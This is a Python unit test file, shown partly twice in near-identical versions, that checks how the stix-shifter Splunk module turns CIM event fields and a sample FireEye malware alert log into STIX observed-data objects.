"ssl_version": version, "ssl_signature_algorithm": sig_algorithm,
"ssl_issuer": issuer, "ssl_subject": subject,
"ssl_hash": ssl_hash, "ssl_publickey_algorithm": key_algorithm
}
result_bundle = json_to_stix_translator.convert_to_stix(
data_source, map_data, [data], get_module_transformers(MODULE), options)
assert(result_bundle['type'] == 'bundle')
result_bundle_objects = result_bundle['objects']
observed_data = result_bundle_objects[1]
validated_result = validate_instance(observed_data)
assert(validated_result.is_valid == True)
assert('objects' in observed_data)
objects = observed_data['objects']
# Test objects in Stix observable data model after transform
cert_obj = TestTransform.get_first_of_type(objects.values(), 'x509-certificate')
assert(cert_obj is not None), 'x509-certificate object type not found'
assert(cert_obj.keys() == {'type', 'serial_number', 'version', "signature_algorithm", "subject_public_key_algorithm", "issuer", "subject", "hashes"})
assert(cert_obj['serial_number'] == "1234")
assert(cert_obj['version'] == "1")
assert(cert_obj['signature_algorithm'] == "md5WithRSAEncryption")
assert(cert_obj['issuer'] == "C=US, ST=California, O=www.example.com, OU=new, CN=new")
assert(cert_obj['subject'] == "C=US, ST=Maryland, L=Baltimore, O=John Doe, OU=ExampleCorp, CN=www.example.com/emailAddress=doe@example.com")
assert(cert_obj['subject_public_key_algorithm'] == "rsaEncryption")
assert(cert_obj['hashes']['SHA-256'] == "aec070645fe53ee3b3763059376134f058cc337247c978add178b6ccdfb0019f")
assert(objects.keys() == set(map(str, range(0, 1))))
def test_process_cim_to_stix(self):
count = 1
time = "2018-08-21T15:11:55.000+00:00"
user = "test_user"
pid = 0
name = "test_process"
filePath = "C:\\Users\\someuser\\sample.dll"
create_time = "2018-08-15T15:11:55.676+00:00"
modify_time = "2018-08-15T18:10:30.456+00:00"
file_hash = "aec070645fe53ee3b3763059376134f058cc337247c978add178b6ccdfb0019f"
file_name = "sample.dll"
file_size = 25536
data = {
"event_count": count, "_time": time, "user": user,
"process_name": name, "process_id": pid, "file_path": filePath,
"file_create_time": create_time, "file_modify_time": modify_time,
"file_hash": file_hash, "file_size": file_size, "file_name": file_name
}
result_bundle = json_to_stix_translator.convert_to_stix(
data_source, map_data, [data], get_module_transformers(MODULE), options, callback=hash_type_lookup)
assert(result_bundle['type'] == 'bundle')
result_bundle_objects = result_bundle['objects']
observed_data = result_bundle_objects[1]
validated_result = validate_instance(observed_data)
assert(validated_result.is_valid == True)
assert('objects' in observed_data)
objects = observed_data['objects']
# Test objects in Stix observable data model after transform
proc_obj = TestTransform.get_first_of_type(objects.values(), 'process')
assert(proc_obj is not None), 'process object type not found'
assert(proc_obj.keys() == {'type', 'name', 'pid', 'binary_ref'})
assert(proc_obj['name'] == "test_process")
assert(proc_obj['pid'] == 0)
user_obj = TestTransform.get_first_of_type(objects.values(), 'user-account')
assert(user_obj is not None), 'user-account object type not found'
assert(user_obj.keys() == {'type', 'account_login', 'user_id'})
assert(user_obj['account_login'] == "test_user")
assert(user_obj['user_id'] == "test_user")
bin_ref = proc_obj['binary_ref']
assert(bin_ref in objects), f"binary_ref with key {proc_obj["binary_ref"]} not found"
file_obj = objects[bin_ref]
assert(file_obj is not None), 'file object type not found'
assert(file_obj.keys() == {'type', 'parent_directory_ref', 'created', 'modified', 'size', 'name', 'hashes'})
assert(file_obj['created'] == "2018-08-15T15:11:55.676Z")
assert(file_obj['modified'] == "2018-08-15T18:10:30.456Z")
assert(file_obj['name'] == "sample.dll")
assert(file_obj['size'] == 25536)
assert (file_obj['hashes']['SHA-256'] == "aec070645fe53ee3b3763059376134f058cc337247c978add178b6ccdfb0019f")
dir_ref = file_obj['parent_directory_ref']
assert(dir_ref in objects), f"parent_directory_ref with key {file_obj["parent_directory_ref"]} not found"
dir_obj = objects[dir_ref]
assert(dir_obj is not None), 'directory object type not found'
assert(dir_obj.keys() == {'type', 'path', 'created', 'modified'})
assert(dir_obj['path'] == "C:\\Users\\someuser\\sample.dll")
assert(dir_obj['created'] == "2018-08-15T15:11:55.676Z")
assert(dir_obj['modified'] == "2018-08-15T18:10:30.456Z")
assert(objects.keys() == set(map(str, range(0, 4))))
def test_network_cim_to_stix(self):
count = 2
time = "2018-08-21T15:11:55.000+00:00"
user = "ibm_user"
dest_ip = "127.0.0.1"
dest_port = "8090"
src_ip = "2001:0db8:85a3:0000:0000:8a2e:0370:7334"
src_port = "8080"
transport = "http"
data = {"event_count": count, "_time": time, "user": user,
"dest_ip": dest_ip, "dest_port": dest_port, "src_ip": src_ip,
"src_port": src_port, "protocol": transport
}
print(data)
result_bundle = json_to_stix_translator.convert_to_stix(
data_source, map_data, [data], get_module_transformers(MODULE), options)
assert(result_bundle['type'] == 'bundle')
result_bundle_objects = result_bundle['objects']
observed_data = result_bundle_objects[1]
validated_result = validate_instance(observed_data)
assert(validated_result.is_valid == True)
assert('objects' in observed_data)
objects = observed_data['objects']
nt_obj = TestTransform.get_first_of_type(objects.values(), 'network-traffic')
assert(nt_obj is not None), 'network-traffic object type not found'
assert(nt_obj.keys() == {'type', 'src_port', 'dst_port', 'src_ref', 'dst_ref', 'protocols'})
assert(nt_obj['src_port'] == 8080)
assert(nt_obj['dst_port'] == 8090)
assert(nt_obj['protocols'] == ['http'])
ip_ref = nt_obj['dst_ref']
assert(ip_ref in objects), f"dst_ref with key {nt_obj["dst_ref"]} not found"
ip_obj = objects[ip_ref]
assert(ip_obj.keys() == {'type', 'value'})
assert(ip_obj['type'] == 'ipv4-addr')
assert(ip_obj['value'] == dest_ip)
ip_ref = nt_obj['src_ref']
assert(ip_ref in objects), f"src_ref with key {nt_obj["src_ref"]} not found"
ip_obj = objects[ip_ref]
assert(ip_obj.keys() == {'type', 'value'})
assert(ip_obj['type'] == 'ipv6-addr')
assert(ip_obj['value'] == src_ip)
def test_email_cim_to_stix(self):
count = 3
time = "2018-08-21T15:11:55.000+00:00"
src_user = "Jane_Doe@ibm.com"
subject = "Test Subject"
multi = "False"
data = {"event_count": count, "_time": time,
"src_user": src_user, "subject": subject, "is_multipart": multi
}
result_bundle = json_to_stix_translator.convert_to_stix(
data_source, map_data, [data], get_module_transformers(MODULE), options)
assert(result_bundle['type'] == 'bundle')
result_bundle_objects = result_bundle['objects']
observed_data = result_bundle_objects[1]
validated_result = validate_instance(observed_data)
assert(validated_result.is_valid == True)
assert('objects' in observed_data)
objects = observed_data['objects']
msg_obj = TestTransform.get_first_of_type(objects.values(), 'email-message')
assert(msg_obj is not None), 'email-message object type not found'
assert(msg_obj.keys() == {'type', 'subject', 'sender_ref', 'from_ref', 'is_multipart'})
assert(msg_obj['subject'] == "Test Subject")
assert(msg_obj['is_multipart'] == False)
sender_ref = msg_obj['sender_ref']
assert(sender_ref in objects), f"sender_ref with key {msg_obj["sender_ref"]} not found"
addr_obj = objects[sender_ref]
assert(addr_obj.keys() == {'type', 'value'})
assert(addr_obj['type'] == 'email-addr')
assert(addr_obj['value'] == src_user)
from_ref = msg_obj['from_ref']
assert(sender_ref in objects), f"from_ref with key {msg_obj["from_ref"]} not found"
addr_obj = objects[from_ref]
assert(addr_obj.keys() == {'type', 'value'})
assert(addr_obj['type'] == 'email-addr')
assert(addr_obj['value'] == src_user)
def test_custom_mapping(self):
data_source = "{\"type\": \"identity\", \"id\": \"identity--3532c56d-ea72-48be-a2ad-1a53f4c9c6d3\", \"name\": \"Splunk\", \"identity_class\": \"events\"}"
data = "[{\"tag\":\"network\", \"src_ip\": \"127.0.0.1\"}]"
options = {
"mapping": {
"cim": {
"to_stix": {
"tag_to_model": {
"network": [
"network-traffic",
"dst_ip",
"src_ip"
]
},
"event_count": {
"key": "number_observed",
"cybox": False,
"transformer": "ToInteger"
},
"src_ip": [
{
"key": "ipv4-addr.value",
"object": "src_ip"
},
{
"key": "ipv6-addr.value",
"object": "src_ip"
},
{
"key": "network-traffic.src_ref",
"object": "network-traffic",
"references": "src_ip"
}
]
}
}
}
}
translation = stix_translation.StixTranslation()
result_bundle = translation.translate('splunk', 'results', data_source, data, options)
result_bundle_objects = result_bundle['objects']
observed_data = result_bundle_objects[1]
assert('objects' in observed_data)
objects = observed_data['objects']
curr_obj = TestTransform.get_first_of_type(objects.values(), 'ipv4-addr')
assert(curr_obj is not None), 'ipv4-addr object type not found'
assert(curr_obj.keys() == {'type', 'value'})
assert(curr_obj['value'] == "127.0.0.1")
def test_cim_to_stix_no_tags(self):
data = {"src_ip": "169.250.0.1", "src_port": "1220", "src_mac": "aa:bb:cc:dd:11:22",
"dest_ip": "127.0.0.1", "dest_port": "1120", "dest_mac": "ee:dd:bb:aa:cc:11",
"file_hash": "cf23df2207d99a74fbe169e3eba035e633b65d94",
"user": "sname", "url": "https://wally.fireeye.com/malware_analysis/analyses?maid=1",
"protocol": "tcp", "_bkt": "main~44~6D3E49A0-31FE-44C3-8373-C3AC6B1ABF06", "_cd": "44:12606114",
"_indextime": "1546960685",
"_raw": "Jan 08 2019 15:18:04 192.168.33.131 fenotify-2.alert: CEF:0|FireEye|MAS|6.2.0.74298|MO|"
"malware-object|4|rt=Jan 08 2019 15:18:04 Z src=169.250.0.1 dpt=1120 dst=127.0.0.1"
" spt=1220 smac=AA:BB:CC:DD:11:22 dmac=EE:DD:BB:AA:CC:11 cn2Label=sid cn2=111"
" fileHash=41a26255d16d121dc525a6445144b895 proto=tcp "
"request=http://qa-server.eng.fireeye.com/QE/NotificationPcaps/"
"58.253.68.29_80-192.168.85.128_1165-2119283109_T.exe cs3Label=osinfo"
" cs3=Microsoft Windows7 Professional 6.1 sp1 dvchost=wally dvc=10.2.101.101 cn1Label=vlan"
" cn1=0 externalId=1 cs4Label=link "
"cs4=https://wally.fireeye.com/malware_analysis/analyses?maid=1 cs2Label=anomaly"
" cs2=misc-anomaly cs1Label=sname cs1=FE_UPX;Trojan.PWS.OnlineGames",
"_serial": "0", "_si": ["splunk3-01.internal.resilientsystems.com", "main"],
"_sourcetype": "fe_cef_syslog", "_time": "2019-01-08T15:18:04.000+00:00", "event_count": 1
}
# result_bundle = json_to_stix_translator.convert_to_stix(
# data_source, map_data, [data], get_module_transformers(MODULE), options, callback=hash_type_lookup)
result_bundle = entry_point.translate_results(json.dumps(data_source), json.dumps([data]))
assert(result_bundle['type'] == 'bundle')
result_bundle_objects = result_bundle['objects']
observed_data = result_bundle_objects[1]
# somehow breaking the stix validation
# validated_result = validate_instance(observed_data)
# assert(validated_result.is_valid == True)
assert('objects' in observed_data)
objects = observed_data['objects']
nt_obj = TestTransform.get_first_of_type(objects.values(), 'network-traffic')
assert(nt_obj is not None), 'network-traffic object type not found'
assert(nt_obj.keys() == {'type', 'src_ref', 'src_port', 'dst_ref', 'dst_port', 'protocols'})
assert(nt_obj['src_port'] == 1220)
assert(nt_obj['dst_port'] == 1120)
assert(nt_obj['protocols'] == ['tcp'])
ip_ref = nt_obj['dst_ref']
assert(ip_ref in objects), "dst_ref with key {nt_obj['dst_ref']} not found"
ip_obj = objects[ip_ref]
assert(ip_obj.keys() == {'type', 'value', 'resolves_to_refs'})
assert(ip_obj['type'] == 'ipv4-addr')
assert(ip_obj['value'] == '127.0.0.1')
assert (isinstance(ip_obj['resolves_to_refs'], list) and isinstance(ip_obj['resolves_to_refs'][0], str))
ip_ref = nt_obj['src_ref']
assert(ip_ref in objects), "src_ref with key {nt_obj['src_ref']} not found"
ip_obj = objects[ip_ref]
assert(ip_obj.keys() == {'type', 'value', 'resolves_to_refs'})
assert(ip_obj['type'] == 'ipv4-addr')
assert(ip_obj['value'] == '169.250.0.1')
assert (isinstance(ip_obj['resolves_to_refs'], list) and isinstance(ip_obj['resolves_to_refs'][0], str))
file_obj = TestTransform.get_first_of_type(objects.values(), 'file')
assert (file_obj is not None), 'file object type not found'
assert (file_obj.keys() == {'type', 'hashes'})
assert (file_obj['hashes']['SHA-1'] == "cf23df2207d99a74fbe169e3eba035e633b65d94")
user_obj = TestTransform.get_first_of_type(objects.values(), 'user-account')
assert (user_obj is not None), 'user object type not found'
assert (user_obj.keys() == {'type', 'account_login', 'user_id'})
assert (user_obj['account_login'] == "sname")
assert (user_obj['user_id'] == "sname")
url_obj = TestTransform.get_first_of_type(objects.values(), 'url')
assert (url_obj is not None), 'url object type not found'
assert (url_obj.keys() == {'type', 'value'})
assert (url_obj['value'] == "https://wally.fireeye.com/malware_analysis/analyses?maid=1")
domain_obj = TestTransform.get_first_of_type(objects.values(), 'domain-name')
assert (domain_obj is not None), 'domain object type not found'
assert (domain_obj.keys() == {'type', 'value'})
assert (domain_obj['value'] == "wally.fireeye.com")
payload_obj = TestTransform.get_first_of_type(objects.values(), 'artifact')
assert (payload_obj is not None), 'payload object type not found'
assert (payload_obj.keys() == {'type', 'payload_bin', 'mime_type'})
payload = 'SmFuIDA4IDIwMTkgMTU6MTg6MDQgMTkyLjE2OC4zMy4xMzEgZmVub3RpZnktMi5hbGVydDogQ0VGOjB8RmlyZUV5ZXxNQV' \
'N8Ni4yLjAuNzQyOTh8TU98bWFsd2FyZS1vYmplY3R8NHxydD1KYW4gMDggMjAxOSAxNToxODowNCBaIHNyYz0xNjkuMjUw' \
'LjAuMSBkcHQ9MTEyMCBkc3Q9MTI3LjAuMC4xIHNwdD0xMjIwIHNtYWM9QUE6QkI6Q0M6REQ6MTE6MjIgZG1hYz1FRTpERD' \
'pCQjpBQTpDQzoxMSBjbjJMYWJlbD1zaWQgY24yPTExMSBmaWxlSGFzaD00MWEyNjI1NWQxNmQxMjFkYzUyNWE2NDQ1MTQ0' \
'Yjg5NSBwcm90bz10Y3AgcmVxdWVzdD1odHRwOi8vcWEtc2VydmVyLmVuZy5maXJlZXllLmNvbS9RRS9Ob3RpZmljYXRpb2' \
'5QY2Fwcy81OC4yNTMuNjguMjlfODAtMTkyLjE2OC44NS4xMjhfMTE2NS0yMTE5MjgzMTA5X1QuZXhlIGNzM0xhYmVsPW9z' \
'aW5mbyBjczM9TWljcm9zb2Z0IFdpbmRvd3M3IFByb2Zlc3Npb25hbCA2LjEgc3AxIGR2Y2hvc3Q9d2FsbHkgZHZjPTEwLj' \
'IuMTAxLjEwMSBjbjFMYWJlbD12bGFuIGNuMT0wIGV4dGVybmFsSWQ9MSBjczRMYWJlbD1saW5rIGNzND1odHRwczovL3dh' \
'bGx5LmZpcmVleWUuY29tL21hbHdhcmVfYW5hbHlzaXMvYW5hbHlzZXM/bWFpZD0xIGNzMkxhYmVsPWFub21hbHkgY3MyPW' \
'1pc2MtYW5vbWFseSBjczFMYWJlbD1zbmFtZSBjczE9RkVfVVBYO1Ryb2phbi5QV1MuT25saW5lR2FtZXM='
assert (payload_obj['payload_bin'] == payload)
assert (payload_obj['mime_type'] == 'text/plain')
| import json
import logging
from stix_shifter_utils.stix_translation.src.json_to_stix import json_to_stix_translator
from stix_shifter.stix_translation import stix_translation
from stix_shifter_modules.splunk.entry_point import EntryPoint
from stix2validator import validate_instance
from stix_shifter_modules.splunk.stix_translation.splunk_utils import hash_type_lookup
from stix_shifter_utils.stix_translation.src.utils.transformer_utils import get_module_transformers
MODULE = "splunk"
logging.basicConfig(level=logging.DEBUG)
logger = logging.getLogger()
entry_point = EntryPoint()
map_data = entry_point.get_results_translator().map_data
data_source = {
"type": "identity",
"id": "identity--3532c56d-ea72-48be-a2ad-1a53f4c9c6d3",
"name": "Splunk",
"identity_class": "events"
}
options = {}
class TestTransform(object):
@staticmethod
def get_first(itr, constraint):
return next(
(obj for obj in itr if constraint(obj)),
None
)
@staticmethod
def get_first_of_type(itr, typ):
return TestTransform.get_first(itr, lambda o: type(o) == dict and o.get('type') == typ)
def test_common_prop(self):
data = {"_time": "2018-08-21T15:11:55.000+00:00", "event_count": 5}
result_bundle = json_to_stix_translator.convert_to_stix(
data_source, map_data, [data], get_module_transformers(MODULE), options)
assert(result_bundle['type'] == 'bundle')
result_bundle_objects = result_bundle['objects']
result_bundle_identity = result_bundle_objects[0]
assert(result_bundle_identity['type'] == data_source['type'])
assert(result_bundle_identity['id'] == data_source['id'])
assert(result_bundle_identity['name'] == data_source['name'])
assert(result_bundle_identity['identity_class']
== data_source['identity_class'])
observed_data = result_bundle_objects[1]
assert(observed_data['id'] is not None)
assert(observed_data['type'] == "observed-data")
assert(observed_data['created_by_ref'] == result_bundle_identity['id'])
assert(observed_data['number_observed'] == 5)
assert(observed_data['created'] is not None)
assert(observed_data['modified'] is not None)
assert(observed_data['first_observed'] is not None)
assert(observed_data['last_observed'] is not None)
def test_change_cim_to_stix(self):
count = 1
time = "2018-08-21T15:11:55.000+00:00"
file_bytes = "300"
user = "ibm_user"
objPath = "hkey_local_machine\\system\\bar\\foo"
filePath = "C:\\Users\\someuser\\sample.dll"
create_time = "2018-08-15T15:11:55.676+00:00"
modify_time = "2018-08-15T18:10:30.456+00:00"
file_hash = "41a26255d16d121dc525a6445144b895"
file_name = "sample.dll"
file_size = 25536
data = {
"event_count": count, "_time": time, "user": user,
"bytes": file_bytes, "object_path": objPath, "file_path": filePath,
"file_create_time": create_time, "file_modify_time": modify_time,
"file_hash": file_hash, "file_size": file_size, "file_name": file_name
}
result_bundle = json_to_stix_translator.convert_to_stix(
data_source, map_data, [data], get_module_transformers(MODULE), options, callback=hash_type_lookup)
assert(result_bundle['type'] == 'bundle')
result_bundle_objects = result_bundle['objects']
observed_data = result_bundle_objects[1]
validated_result = validate_instance(observed_data)
assert(validated_result.is_valid == True)
assert('objects' in observed_data)
objects = observed_data['objects']
# Test objects in Stix observable data model after transform
wrk_obj = TestTransform.get_first_of_type(objects.values(), 'windows-registry-key')
assert(wrk_obj is not None)
assert(wrk_obj.keys() == {'type', 'key'})
assert(wrk_obj['key'] == "hkey_local_machine\\system\\bar\\foo")
user_obj = TestTransform.get_first_of_type(objects.values(), 'user-account')
assert(user_obj is not None), 'user-account object type not found'
assert(user_obj.keys() == {'type', 'account_login', 'user_id'})
assert(user_obj['account_login'] == "ibm_user")
assert(user_obj['user_id'] == "ibm_user")
file_obj = TestTransform.get_first_of_type(objects.values(), 'file')
assert(file_obj is not None), 'file object type not found'
assert(file_obj.keys() == {'type', 'parent_directory_ref', 'created', 'modified', 'hashes', 'name', 'size'})
assert(file_obj['created'] == "2018-08-15T15:11:55.676Z")
assert(file_obj['modified'] == "2018-08-15T18:10:30.456Z")
assert(file_obj['name'] == "sample.dll")
assert(file_obj['size'] == 25536)
assert (file_obj['hashes']['MD5'] == "41a26255d16d121dc525a6445144b895")
dir_ref = file_obj['parent_directory_ref']
assert(dir_ref in objects), f"parent_directory_ref with key {file_obj['parent_directory_ref']} not found"
dir_obj = objects[dir_ref]
assert(dir_obj is not None), 'directory object type not found'
assert(dir_obj.keys() == {'type', 'path', 'created', 'modified'})
assert(dir_obj['path'] == "C:\\Users\\someuser\\sample.dll")
assert(dir_obj['created'] == "2018-08-15T15:11:55.676Z")
assert(dir_obj['modified'] == "2018-08-15T18:10:30.456Z")
assert(objects.keys() == set(map(str, range(0, 4))))
def test_certificate_cim_to_stix(self):
count = 1
time = "2018-08-21T15:11:55.000+00:00"
serial = "1234"
version = "1"
sig_algorithm = "md5WithRSAEncryption"
key_algorithm = "rsaEncryption"
issuer = "C=US, ST=California, O=www.example.com, OU=new, CN=new"
subject = "C=US, ST=Maryland, L=Baltimore, O=John Doe, OU=ExampleCorp, CN=www.example.com/emailAddress=doe@example.com"
ssl_hash = "aec070645fe53ee3b3763059376134f058cc337247c978add178b6ccdfb0019f"
data = {
"event_count": count, "_time": time, "ssl_serial": serial,
"ssl_version": version, "ssl_signature_algorithm": sig_algorithm,
"ssl_issuer": issuer, "ssl_subject": subject,
"ssl_hash": ssl_hash, "ssl_publickey_algorithm": key_algorithm
}
result_bundle = json_to_stix_translator.convert_to_stix(
data_source, map_data, [data], get_module_transformers(MODULE), options)
assert(result_bundle['type'] == 'bundle')
result_bundle_objects = result_bundle['objects']
observed_data = result_bundle_objects[1]
validated_result = validate_instance(observed_data)
assert(validated_result.is_valid == True)
assert('objects' in observed_data)
objects = observed_data['objects']
# Test objects in Stix observable data model after transform
cert_obj = TestTransform.get_first_of_type(objects.values(), 'x509-certificate')
assert(cert_obj is not None), 'x509-certificate object type not found'
assert(cert_obj.keys() == {'type', 'serial_number', 'version', "signature_algorithm", "subject_public_key_algorithm", "issuer", "subject", "hashes"})
assert(cert_obj['serial_number'] == "1234")
assert(cert_obj['version'] == "1")
assert(cert_obj['signature_algorithm'] == "md5WithRSAEncryption")
assert(cert_obj['issuer'] == "C=US, ST=California, O=www.example.com, OU=new, CN=new")
assert(cert_obj['subject'] == "C=US, ST=Maryland, L=Baltimore, O=John Doe, OU=ExampleCorp, CN=www.example.com/emailAddress=doe@example.com")
assert(cert_obj['subject_public_key_algorithm'] == "rsaEncryption")
assert(cert_obj['hashes']['SHA-256'] == "aec070645fe53ee3b3763059376134f058cc337247c978add178b6ccdfb0019f")
assert(objects.keys() == set(map(str, range(0, 1))))
def test_process_cim_to_stix(self):
count = 1
time = "2018-08-21T15:11:55.000+00:00"
user = "test_user"
pid = 0
name = "test_process"
filePath = "C:\\Users\\someuser\\sample.dll"
create_time = "2018-08-15T15:11:55.676+00:00"
modify_time = "2018-08-15T18:10:30.456+00:00"
file_hash = "aec070645fe53ee3b3763059376134f058cc337247c978add178b6ccdfb0019f"
file_name = "sample.dll"
file_size = 25536
data = {
"event_count": count, "_time": time, "user": user,
"process_name": name, "process_id": pid, "file_path": filePath,
"file_create_time": create_time, "file_modify_time": modify_time,
"file_hash": file_hash, "file_size": file_size, "file_name": file_name
}
result_bundle = json_to_stix_translator.convert_to_stix(
data_source, map_data, [data], get_module_transformers(MODULE), options, callback=hash_type_lookup)
assert(result_bundle['type'] == 'bundle')
result_bundle_objects = result_bundle['objects']
observed_data = result_bundle_objects[1]
validated_result = validate_instance(observed_data)
assert(validated_result.is_valid == True)
assert('objects' in observed_data)
objects = observed_data['objects']
# Test objects in Stix observable data model after transform
proc_obj = TestTransform.get_first_of_type(objects.values(), 'process')
assert(proc_obj is not None), 'process object type not found'
assert(proc_obj.keys() == {'type', 'name', 'pid', 'binary_ref'})
assert(proc_obj['name'] == "test_process")
assert(proc_obj['pid'] == 0)
user_obj = TestTransform.get_first_of_type(objects.values(), 'user-account')
assert(user_obj is not None), 'user-account object type not found'
assert(user_obj.keys() == {'type', 'account_login', 'user_id'})
assert(user_obj['account_login'] == "test_user")
assert(user_obj['user_id'] == "test_user")
bin_ref = proc_obj['binary_ref']
assert(bin_ref in objects), f"binary_ref with key {proc_obj['binary_ref']} not found"
file_obj = objects[bin_ref]
assert(file_obj is not None), 'file object type not found'
assert(file_obj.keys() == {'type', 'parent_directory_ref', 'created', 'modified', 'size', 'name', 'hashes'})
assert(file_obj['created'] == "2018-08-15T15:11:55.676Z")
assert(file_obj['modified'] == "2018-08-15T18:10:30.456Z")
assert(file_obj['name'] == "sample.dll")
assert(file_obj['size'] == 25536)
assert (file_obj['hashes']['SHA-256'] == "aec070645fe53ee3b3763059376134f058cc337247c978add178b6ccdfb0019f")
dir_ref = file_obj['parent_directory_ref']
assert(dir_ref in objects), f"parent_directory_ref with key {file_obj['parent_directory_ref']} not found"
dir_obj = objects[dir_ref]
assert(dir_obj is not None), 'directory object type not found'
assert(dir_obj.keys() == {'type', 'path', 'created', 'modified'})
assert(dir_obj['path'] == "C:\\Users\\someuser\\sample.dll")
assert(dir_obj['created'] == "2018-08-15T15:11:55.676Z")
assert(dir_obj['modified'] == "2018-08-15T18:10:30.456Z")
assert(objects.keys() == set(map(str, range(0, 4))))
def test_network_cim_to_stix(self):
count = 2
time = "2018-08-21T15:11:55.000+00:00"
user = "ibm_user"
dest_ip = "127.0.0.1"
dest_port = "8090"
src_ip = "2001:0db8:85a3:0000:0000:8a2e:0370:7334"
src_port = "8080"
transport = "http"
data = {"event_count": count, "_time": time, "user": user,
"dest_ip": dest_ip, "dest_port": dest_port, "src_ip": src_ip,
"src_port": src_port, "protocol": transport
}
print(data)
result_bundle = json_to_stix_translator.convert_to_stix(
data_source, map_data, [data], get_module_transformers(MODULE), options)
assert(result_bundle['type'] == 'bundle')
result_bundle_objects = result_bundle['objects']
observed_data = result_bundle_objects[1]
validated_result = validate_instance(observed_data)
assert(validated_result.is_valid == True)
assert('objects' in observed_data)
objects = observed_data['objects']
nt_obj = TestTransform.get_first_of_type(objects.values(), 'network-traffic')
assert(nt_obj is not None), 'network-traffic object type not found'
assert(nt_obj.keys() == {'type', 'src_port', 'dst_port', 'src_ref', 'dst_ref', 'protocols'})
assert(nt_obj['src_port'] == 8080)
assert(nt_obj['dst_port'] == 8090)
assert(nt_obj['protocols'] == ['http'])
ip_ref = nt_obj['dst_ref']
assert(ip_ref in objects), f"dst_ref with key {nt_obj['dst_ref']} not found"
ip_obj = objects[ip_ref]
assert(ip_obj.keys() == {'type', 'value'})
assert(ip_obj['type'] == 'ipv4-addr')
assert(ip_obj['value'] == dest_ip)
ip_ref = nt_obj['src_ref']
assert(ip_ref in objects), f"src_ref with key {nt_obj['src_ref']} not found"
ip_obj = objects[ip_ref]
assert(ip_obj.keys() == {'type', 'value'})
assert(ip_obj['type'] == 'ipv6-addr')
assert(ip_obj['value'] == src_ip)
def test_email_cim_to_stix(self):
count = 3
time = "2018-08-21T15:11:55.000+00:00"
src_user = "Jane_Doe@ibm.com"
subject = "Test Subject"
multi = "False"
data = {"event_count": count, "_time": time,
"src_user": src_user, "subject": subject, "is_multipart": multi
}
result_bundle = json_to_stix_translator.convert_to_stix(
data_source, map_data, [data], get_module_transformers(MODULE), options)
assert(result_bundle['type'] == 'bundle')
result_bundle_objects = result_bundle['objects']
observed_data = result_bundle_objects[1]
validated_result = validate_instance(observed_data)
assert(validated_result.is_valid == True)
assert('objects' in observed_data)
objects = observed_data['objects']
msg_obj = TestTransform.get_first_of_type(objects.values(), 'email-message')
assert(msg_obj is not None), 'email-message object type not found'
assert(msg_obj.keys() == {'type', 'subject', 'sender_ref', 'from_ref', 'is_multipart'})
assert(msg_obj['subject'] == "Test Subject")
assert(msg_obj['is_multipart'] == False)
sender_ref = msg_obj['sender_ref']
assert(sender_ref in objects), f"sender_ref with key {msg_obj['sender_ref']} not found"
addr_obj = objects[sender_ref]
assert(addr_obj.keys() == {'type', 'value'})
assert(addr_obj['type'] == 'email-addr')
assert(addr_obj['value'] == src_user)
from_ref = msg_obj['from_ref']
assert(sender_ref in objects), f"from_ref with key {msg_obj['from_ref']} not found"
addr_obj = objects[from_ref]
assert(addr_obj.keys() == {'type', 'value'})
assert(addr_obj['type'] == 'email-addr')
assert(addr_obj['value'] == src_user)
def test_custom_mapping(self):
data_source = "{\"type\": \"identity\", \"id\": \"identity--3532c56d-ea72-48be-a2ad-1a53f4c9c6d3\", \"name\": \"Splunk\", \"identity_class\": \"events\"}"
data = "[{\"tag\":\"network\", \"src_ip\": \"127.0.0.1\"}]"
options = {
"mapping": {
"cim": {
"to_stix": {
"tag_to_model": {
"network": [
"network-traffic",
"dst_ip",
"src_ip"
]
},
"event_count": {
"key": "number_observed",
"cybox": False,
"transformer": "ToInteger"
},
"src_ip": [
{
"key": "ipv4-addr.value",
"object": "src_ip"
},
{
"key": "ipv6-addr.value",
"object": "src_ip"
},
{
"key": "network-traffic.src_ref",
"object": "network-traffic",
"references": "src_ip"
}
]
}
}
}
}
translation = stix_translation.StixTranslation()
result_bundle = translation.translate('splunk', 'results', data_source, data, options)
result_bundle_objects = result_bundle['objects']
observed_data = result_bundle_objects[1]
assert('objects' in observed_data)
objects = observed_data['objects']
curr_obj = TestTransform.get_first_of_type(objects.values(), 'ipv4-addr')
assert(curr_obj is not None), 'ipv4-addr object type not found'
assert(curr_obj.keys() == {'type', 'value'})
assert(curr_obj['value'] == "127.0.0.1")
def test_cim_to_stix_no_tags(self):
data = {"src_ip": "169.250.0.1", "src_port": "1220", "src_mac": "aa:bb:cc:dd:11:22",
"dest_ip": "127.0.0.1", "dest_port": "1120", "dest_mac": "ee:dd:bb:aa:cc:11",
"file_hash": "cf23df2207d99a74fbe169e3eba035e633b65d94",
"user": "sname", "url": "https://wally.fireeye.com/malware_analysis/analyses?maid=1",
"protocol": "tcp", "_bkt": "main~44~6D3E49A0-31FE-44C3-8373-C3AC6B1ABF06", "_cd": "44:12606114",
"_indextime": "1546960685",
"_raw": "Jan 08 2019 15:18:04 192.168.33.131 fenotify-2.alert: CEF:0|FireEye|MAS|6.2.0.74298|MO|"
"malware-object|4|rt=Jan 08 2019 15:18:04 Z src=169.250.0.1 dpt=1120 dst=127.0.0.1"
" spt=1220 smac=AA:BB:CC:DD:11:22 dmac=EE:DD:BB:AA:CC:11 cn2Label=sid cn2=111"
" fileHash=41a26255d16d121dc525a6445144b895 proto=tcp "
"request=http://qa-server.eng.fireeye.com/QE/NotificationPcaps/"
"58.253.68.29_80-192.168.85.128_1165-2119283109_T.exe cs3Label=osinfo"
" cs3=Microsoft Windows7 Professional 6.1 sp1 dvchost=wally dvc=10.2.101.101 cn1Label=vlan"
" cn1=0 externalId=1 cs4Label=link "
"cs4=https://wally.fireeye.com/malware_analysis/analyses?maid=1 cs2Label=anomaly"
" cs2=misc-anomaly cs1Label=sname cs1=FE_UPX;Trojan.PWS.OnlineGames",
"_serial": "0", "_si": ["splunk3-01.internal.resilientsystems.com", "main"],
"_sourcetype": "fe_cef_syslog", "_time": "2019-01-08T15:18:04.000+00:00", "event_count": 1
}
# result_bundle = json_to_stix_translator.convert_to_stix(
# data_source, map_data, [data], get_module_transformers(MODULE), options, callback=hash_type_lookup)
result_bundle = entry_point.translate_results(json.dumps(data_source), json.dumps([data]))
assert(result_bundle['type'] == 'bundle')
result_bundle_objects = result_bundle['objects']
observed_data = result_bundle_objects[1]
# somehow breaking the stix validation
# validated_result = validate_instance(observed_data)
# assert(validated_result.is_valid == True)
assert('objects' in observed_data)
objects = observed_data['objects']
